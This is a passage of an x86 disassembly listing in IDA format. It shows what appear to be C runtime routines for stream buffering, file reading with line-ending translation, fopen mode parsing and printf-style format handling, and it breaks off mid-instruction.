loc_41F874: ; CODE XREF: sub_41F83A+26j jnb short loc_41F8DB mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F8DB lea eax, [ecx+edx] loc_41F889: ; CODE XREF: sub_41F83A+59j cmp eax, esi jnb short loc_41F897 cmp byte ptr [eax], 0 jnz short loc_41F895 inc eax jmp short loc_41F889 ; --------------------------------------------------------------------------- loc_41F895: ; CODE XREF: sub_41F83A+56j cmp eax, esi loc_41F897: ; CODE XREF: sub_41F83A+51j jnz short loc_41F8DB mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F8CF cmp esi, eax jbe short loc_41F8CF lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F8C6 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F8C1 loc_41F8BA: ; CODE XREF: sub_41F83A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F8BA loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej mov [ebx+4], eax jmp short loc_41F8CF ; --------------------------------------------------------------------------- loc_41F8C6: ; CODE XREF: sub_41F83A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F8CF: ; CODE XREF: sub_41F83A+68j ; sub_41F83A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F8D4: ; CODE XREF: sub_41F83A+38j mov [ebp+var_4], 1 loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j ; sub_41F83A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F83A endp ; =============== S U B R O U T I N E ======================================= sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p ; sub_41C52F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F9B7 test al, 40h jnz loc_41F9B7 test al, 2 jz short loc_41F909 or al, 20h mov [esi+0Ch], eax jmp loc_41F9B7 ; --------------------------------------------------------------------------- loc_41F909: ; CODE XREF: sub_41F8E3+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F91D push esi call sub_4241F7 pop ecx jmp short loc_41F922 ; --------------------------------------------------------------------------- loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj mov eax, [esi+8] mov [esi], eax loc_41F922: ; CODE XREF: sub_41F8E3+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F9A6 cmp eax, 0FFFFFFFFh jz short loc_41F9A6 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F97B mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F964 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DD040[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F969 ; --------------------------------------------------------------------------- loc_41F964: ; CODE XREF: sub_41F8E3+6Bj mov edi, offset dword_43D4D0 loc_41F969: ; CODE XREF: sub_41F8E3+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F97B or dh, 20h mov [esi+0Ch], edx loc_41F97B: ; CODE XREF: sub_41F8E3+62j ; sub_41F8E3+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F998 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F998 test ch, 4 jnz short loc_41F998 mov dword ptr [esi+18h], 1000h loc_41F998: ; CODE XREF: sub_41F8E3+9Fj ; sub_41F8E3+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F9A6: ; CODE XREF: sub_41F8E3+55j ; sub_41F8E3+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj ; sub_41F8E3+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F8E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p ; sub_41F8E3+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DD140 jnb loc_41FB99 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DD040h[eax*4] mov eax, dword_4DD040[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41FB99 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41FA71 test dl, 2 jnz short loc_41FA71 test dl, 48h jz short loc_41FA31 mov al, [eax+5] cmp al, 0Ah jz short loc_41FA31 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41FA31: ; CODE XREF: sub_41F9BC+56j ; sub_41F9BC+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_4270EC ; ReadFile test eax, eax jnz short loc_41FA84 call dword_427094 ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41FA6C mov dword_4DBDDC, 9 mov dword_4DBDE0, ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA6C: ; CODE XREF: sub_41F9BC+99j cmp eax, 6Dh jnz short loc_41FA78 loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj ; sub_41F9BC+51j xor eax, eax jmp loc_41FBAD ; --------------------------------------------------------------------------- loc_41FA78: ; CODE XREF: sub_41F9BC+B3j push eax call sub_420C7F pop ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41FB94 test edx, edx jz short loc_41FAA9 cmp byte ptr [edi], 0Ah jnz short loc_41FAA9 or al, 4 jmp short loc_41FAAB ; --------------------------------------------------------------------------- loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j ; sub_41F9BC+E7j and al, 0FBh loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41FB8E loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41FB7E cmp al, 0Dh jz short loc_41FADF mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41FB70 ; --------------------------------------------------------------------------- loc_41FADF: ; CODE XREF: sub_41F9BC+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41FAFD mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41FAF4 add [ebp+arg_8], 2 jmp short loc_41FB52 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F9BC+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FAFD: ; CODE XREF: sub_41F9BC+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_4270EC ; ReadFile test eax, eax jnz short loc_41FB25 call dword_427094 ; RtlGetLastWin32Error test eax, eax jnz short loc_41FB6C loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj cmp [ebp+var_C], 0 jz short loc_41FB6C mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41FB47 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41FB52 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F9BC+176j cmp edi, [ebp+arg_4] jnz short loc_41FB57 cmp [ebp+var_1], 0Ah jnz short loc_41FB57 loc_41FB52: ; CODE XREF: sub_41F9BC+136j ; sub_41F9BC+17Dj mov byte ptr [edi], 0Ah jmp short loc_41FB6F ; --------------------------------------------------------------------------- loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej ; sub_41F9BC+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422F09 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41FB70 loc_41FB6C: ; CODE XREF: sub_41F9BC+167j ; sub_41F9BC+16Dj mov byte ptr [edi], 0Dh loc_41FB6F: ; CODE XREF: sub_41F9BC+199j inc edi loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej ; sub_41F9BC+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41FAC3 jmp short loc_41FB8E ; --------------------------------------------------------------------------- loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41FB8E or al, 2 mov [esi], al loc_41FB8E: ; CODE XREF: sub_41F9BC+101j ; sub_41F9BC+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41FB94: ; CODE XREF: sub_41F9BC+DAj mov eax, [ebp+var_8] jmp short loc_41FBAD ; --------------------------------------------------------------------------- loc_41FB99: ; CODE XREF: sub_41F9BC+12j ; sub_41F9BC+39j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj ; sub_41F9BC+C3j or eax, 0FFFFFFFFh loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j ; sub_41F9BC+1DBj pop edi pop esi pop ebx leave retn sub_41F9BC endp ; =============== S U B R O U T I N E ======================================= sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p ; sub_41BBE2+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DBE44 test eax, eax jz short loc_41FBCA push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41FBCA push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41FBCA: ; CODE XREF: sub_41FBB2+7j ; sub_41FBB2+12j xor eax, eax retn sub_41FBB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBFB0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41FC06 cmp al, 72h jz short loc_41FBFF cmp al, 77h jnz loc_41FD1A mov ecx, 301h jmp short loc_41FC0B ; --------------------------------------------------------------------------- loc_41FBFF: ; CODE XREF: sub_41FBCD+21j xor ecx, ecx or esi, 1 jmp short loc_41FC0E ; --------------------------------------------------------------------------- loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj mov ecx, 109h loc_41FC0B: ; CODE XREF: sub_41FBCD+30j or esi, 2 loc_41FC0E: ; CODE XREF: sub_41FBCD+37j push 1 pop edx loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj ; sub_41FBCD+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41FD00 cmp edx, ebx jz loc_41FD00 movsx eax, al cmp eax, 54h jg short loc_41FC9F jz short loc_41FC8F sub eax, 2Bh jz short loc_41FC79 sub eax, 19h jz short loc_41FC6F sub eax, 0Eh jz short loc_41FC5A dec eax jnz loc_41FCF1 cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj test cl, 40h jnz short loc_41FCF1 or ecx, 40h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC79: ; CODE XREF: sub_41FBCD+65j test cl, 2 jnz short loc_41FCF1 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC8F: ; CODE XREF: sub_41FBCD+60j mov eax, 1000h test ecx, eax jnz short loc_41FCF1 or ecx, eax jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej sub eax, 62h jz short loc_41FCEC dec eax jz short loc_41FCD5 sub eax, 0Bh jz short loc_41FCBE sub eax, 6 jnz short loc_41FCF1 test ch, 0C0h jnz short loc_41FCF1 or ch, 40h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j test ch, 0C0h jz short loc_41FCF8 loc_41FCF1: ; CODE XREF: sub_41FBCD+72j ; sub_41FBCD+7Bj ... xor edx, edx jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FBCD+122j or ch, 80h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj ; sub_41FBCD+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42423B mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41FD1E loc_41FD1A: ; CODE XREF: sub_41FBCD+25j xor eax, eax jmp short loc_41FD38 ; --------------------------------------------------------------------------- loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj mov eax, [ebp+arg_C] inc dword_4DBFAC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj pop edi pop esi pop ebx leave retn sub_41FBCD endp ; =============== S U B R O U T I N E ======================================= sub_41FD3D proc near ; CODE XREF: sub_41BE82p mov edx, dword_4DD020 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41FDAE mov ebx, dword_4DC01C mov edi, ebx loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41FD74 test byte ptr [ecx+0Ch], 83h jz short loc_41FD6F inc eax add edi, 4 cmp eax, edx jl short loc_41FD59 jmp short loc_41FDAE ; --------------------------------------------------------------------------- loc_41FD6F: ; CODE XREF: sub_41FD3D+26j mov esi, [ebx+eax*4] jmp short loc_41FD98 ; --------------------------------------------------------------------------- loc_41FD74: ; CODE XREF: sub_41FD3D+20j mov edi, eax push 20h shl edi, 2 call sub_41BEB5 pop ecx mov ecx, dword_4DC01C mov [edi+ecx], eax mov eax, dword_4DC01C mov edi, [edi+eax] cmp edi, ebp jz short loc_41FDAE mov esi, edi loc_41FD98: ; CODE XREF: sub_41FD3D+35j cmp esi, ebp jz short loc_41FDAE or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41FDAE: ; CODE XREF: sub_41FD3D+12j ; sub_41FD3D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41FD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p ; sub_41C0CE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41FDD3 mov ecx, off_43CE78 movzx eax, word ptr [ecx+eax*2] jmp short loc_41FE25 ; --------------------------------------------------------------------------- loc_41FDD3: ; CODE XREF: sub_41FDB5+10j mov ecx, eax push esi mov esi, off_43CE78 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41FDF8 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41FE01 ; --------------------------------------------------------------------------- loc_41FDF8: ; CODE XREF: sub_41FDB5+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41FE01: ; CODE XREF: sub_41FDB5+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4244F4 add esp, 1Ch test eax, eax jnz short loc_41FE21 leave retn ; --------------------------------------------------------------------------- loc_41FE21: ; CODE XREF: sub_41FDB5+68j movzx eax, word ptr [ebp+arg_0+2] loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj and eax, [ebp+arg_4] leave retn sub_41FDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE2A proc near ; CODE XREF: sub_41C266+46p ; sub_41C360+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41FF33 test al, 40h jnz loc_41FF33 test al, 1 jz short loc_41FE62 and dword ptr [esi+4], 0 test al, 10h jz loc_41FF33 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41FE62: ; CODE XREF: sub_41FE2A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41FE9C cmp esi, offset dword_43D588 jz short loc_41FE8A cmp esi, offset dword_43D5A8 jnz short loc_41FE95 loc_41FE8A: ; CODE XREF: sub_41FE2A+56j push ebx call sub_42463D test eax, eax pop ecx jnz short loc_41FE9C loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej push esi call sub_4241F7 pop ecx loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej ; sub_41FE2A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41FF09 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41FECC push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41FEFF ; --------------------------------------------------------------------------- loc_41FECC: ; CODE XREF: sub_41FE2A+90j cmp ebx, 0FFFFFFFFh jz short loc_41FEE7 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] jmp short loc_41FEEC ; --------------------------------------------------------------------------- loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j mov eax, offset dword_43D4D0 loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj test byte ptr [eax+4], 20h jz short loc_41FEFF push 2 push 0 push ebx call sub_422F09 add esp, 0Ch loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j ; sub_41FE2A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41FF1D ; --------------------------------------------------------------------------- loc_41FF09: ; CODE XREF: sub_41FE2A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41FF29 or dword ptr [esi+0Ch], 20h jmp short loc_41FF38 ; --------------------------------------------------------------------------- loc_41FF29: ; CODE XREF: sub_41FE2A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41FF3B ; --------------------------------------------------------------------------- loc_41FF33: ; CODE XREF: sub_41FE2A+10j ; sub_41FE2A+18j ... or al, 20h mov [esi+0Ch], eax loc_41FF38: ; CODE XREF: sub_41FE2A+FDj or eax, 0FFFFFFFFh loc_41FF3B: ; CODE XREF: sub_41FE2A+107j pop esi pop ebx pop ebp retn sub_41FE2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF3F proc near ; CODE XREF: sub_41C266+29p ; sub_41C360+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_420658 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41FF73 ; --------------------------------------------------------------------------- loc_41FF6B: ; CODE XREF: sub_41FF3F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj cmp [ebp+var_14], edx jl loc_420658 cmp bl, 20h jl short loc_41FF94 cmp bl, 78h jg short loc_41FF94 movsx eax, bl mov al, [eax+42771Ch] and eax, 0Fh jmp short loc_41FF96 ; --------------------------------------------------------------------------- loc_41FF94: ; CODE XREF: sub_41FF3F+40j ; sub_41FF3F+45j xor eax, eax loc_41FF96: ; CODE XREF: sub_41FF3F+53j movsx eax, byte_42773C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_420647 ; default jmp off_420660[eax*4] ; switch jump loc_41FFB4: ; DATA XREF: .packed:off_420660o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: .packed:off_420660o movsx eax, bl ; jumptable 0041FFAD case 2 sub eax, 20h jz short loc_420012 sub eax, 3 jz short loc_420009 sub eax, 8 jz short loc_420000 dec eax dec eax jz short loc_41FFF7 sub eax, 3 jnz loc_420647 ; default or [ebp+var_4], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j or [ebp+var_4], 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420000: ; CODE XREF: sub_41FF3F+A0j or [ebp+var_4], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420009: ; CODE XREF: sub_41FF3F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FF3F+96j or [ebp+var_4], 2 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42001B: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: .packed:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 3 jnz short loc_420043 lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_420647 ; default or [ebp+var_4], 4 neg eax loc_42003B: ; CODE XREF: sub_41FF3F+111j mov [ebp+var_20], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420043: ; CODE XREF: sub_41FF3F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_42003B ; --------------------------------------------------------------------------- loc_420052: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: .packed:off_420660o mov [ebp+var_10], edx ; jumptable 0041FFAD case 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42005A: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: .packed:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 5 jnz short loc_42007D lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_420647 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42007D: ; CODE XREF: sub_41FF3F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42008F: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: .packed:off_420660o cmp bl, 49h ; jumptable 0041FFAD case 6 jz short loc_4200C2 cmp bl, 68h jz short loc_4200B9 cmp bl, 6Ch jz short loc_4200B0 cmp bl, 77h jnz loc_420647 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj or [ebp+var_4], 10h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_41FF3F+158j or [ebp+var_4], 20h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200C2: ; CODE XREF: sub_41FF3F+153j cmp byte ptr [edi], 36h jnz short loc_4200DB cmp byte ptr [edi+1], 34h jnz short loc_4200DB inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200DB: ; CODE XREF: sub_41FF3F+186j ; sub_41FF3F+18Cj mov [ebp+var_30], edx loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: .packed:off_420660o mov ecx, off_43CE78 ; jumptable 0041FFAD case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_42010A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_42010A: ; CODE XREF: sub_41FF3F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 add esp, 0Ch jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420122: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: .packed:off_420660o movsx eax, bl ; jumptable 0041FFAD case 7 cmp eax, 67h jg loc_42034A cmp eax, 65h jge loc_4201CD cmp eax, 58h jg loc_42022B jz loc_4203BE sub eax, 43h jz loc_4201EE dec eax dec eax jz short loc_4201C3 dec eax dec eax jz short loc_4201C3 sub eax, 0Ch jnz loc_420549 test word ptr [ebp+var_4], 830h jnz short loc_42016C or byte ptr [ebp+var_4+1], 8 loc_42016C: ; CODE XREF: sub_41FF3F+227j ; sub_41FF3F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_420179 mov esi, 7FFFFFFFh loc_420179: ; CODE XREF: sub_41FF3F+233j lea eax, [ebp+arg_8] push eax call sub_42071E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_420392 test ecx, ecx jnz short loc_4201A1 mov ecx, off_43D094 mov [ebp+var_8], ecx loc_4201A1: ; CODE XREF: sub_41FF3F+257j mov [ebp+var_24], 1 mov eax, ecx loc_4201AA: ; CODE XREF: sub_41FF3F+282j mov edx, esi dec esi test edx, edx jz loc_420389 cmp word ptr [eax], 0 jz loc_420389 inc eax inc eax jmp short loc_4201AA ; --------------------------------------------------------------------------- loc_4201C3: ; CODE XREF: sub_41FF3F+212j ; sub_41FF3F+216j mov [ebp+var_34], 1 add bl, 20h loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4202B1 mov [ebp+var_10], 6 jmp loc_4202BF ; --------------------------------------------------------------------------- loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_4201FA or byte ptr [ebp+var_4+1], 8 loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j ; sub_41FF3F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_420241 call sub_42073B push eax lea eax, [ebp+var_248] push eax call sub_424663 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_420254 mov 